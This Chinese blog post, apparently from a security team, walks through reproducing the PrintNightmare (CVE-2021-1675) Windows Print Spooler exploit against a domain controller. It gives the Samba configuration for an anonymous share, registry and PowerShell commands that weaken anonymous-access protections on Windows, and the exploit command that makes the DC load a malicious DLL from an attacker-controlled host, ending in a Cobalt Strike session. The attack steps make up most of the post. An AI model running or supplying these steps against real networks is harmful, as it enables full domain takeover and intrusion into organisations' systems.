漏洞复现｜PrintNightmare（CVE-2021-1675）复现

最新推荐文章于 2025-03-11 03:11:10 发布

灼剑（Tsojan）安全团队

最新推荐文章于 2025-03-11 03:11:10 发布

阅读量6.1k

点赞数

CC 4.0 BY-SA版权

分类专栏：漏洞复现文章标签：安全服务器 linux

本文链接：https://blog.csdn.net/weixin_42282189/article/details/122333229

漏洞复现专栏收录该内容

8 篇文章

订阅专栏

作者：飞天魔鬼
免责声明：本文仅供学习研究，严禁从事非法活动，任何后果由使用者本人负责。

0x01 简介

Windows Print Spooler是Windows的打印机后台处理程序，广泛的应用于各种内网中，攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证，并在打印服务器中安装恶意的驱动程序。若攻击者所控制的用户在域中，则攻击者可以连接到DC中的Spooler服务，并利用该漏洞在DC中安装恶意的驱动程序，完整的控制整个域环境。

环境准备

一个普通权限的域账户
目标开启Spooler服务
创建的smb服务允许匿名访问，即目标可以直接获取到文件

DC WindowsServer 2016 Standard
windows smba服务器：win10
linux smba服务器：kali

0x02 linux下攻击手法

在linux环境下，使用smbd服务可以很方便的开启匿名的samba服务器。

首先使用yum或者apt安装samba，安装完成之后修改/etc/samba/smb.conf文件为以下配置。


[global] 
workgroup = WORKGROUP 
server string = Samba Server 
netbios name = MYSERVER 
log file = /var/log/samba/log.%m 
max log size = 50 
security = user 
map to guest = Bad User 
[smb] 
comment = Template Directories 
browseable = yes 
writeable = yes 
path = /tmp/ 
guest ok = yes

其中[smb]为访问该服务器共享文件夹的名称，path为samba服务器共享的目录。

修改完成之后使用命令service smbd start开启smba服务器。
在这里插入图片描述
使用脚本CVE-2021-1675.py执行以下命令

python3 CVE-2021-1675.py hack.com/user1:User@hack.com@192.168.28.191 '\\192.168.28.190\smb\artifact.dll'

在这里插入图片描述
当出现Exploit Completed关键字的时候即为攻击成功。

可以看到已经成功上线cs

0x03 windows下攻击手法

这里使用的是三好学生的脚本

https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer

还有cube0x0放出的脚本


mkdir C:\share 
icacls C:\share\ /T /grant Anonymous` logon:r 
icacls C:\share\ /T /grant Everyone:r 
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone' REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing 
NullSessionPipes REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v 
NullSessionShares /t REG_MULTI_SZ /d share /f 
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f 
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t 
REG_DWORD /d 0 /f

入口机器执行该脚本
在这里插入图片描述
使用脚本CVE-2021-1675.py执行以下命令

python3 CVE-2021-1675.py hack.com/user1:User@hack.com@192.168.28.197 '\\192.168.28.187\smb\artifact.dll'

在这里插入图片描述

可以看到已经上线成功了

0x04 了解更多安全知识

欢迎关注我们的安全公众号，学习更多安全知识！！！
欢迎关注我们的安全公众号，学习更多安全知识！！！
欢迎关注我们的安全公众号，学习更多安全知识！！！
在这里插入图片描述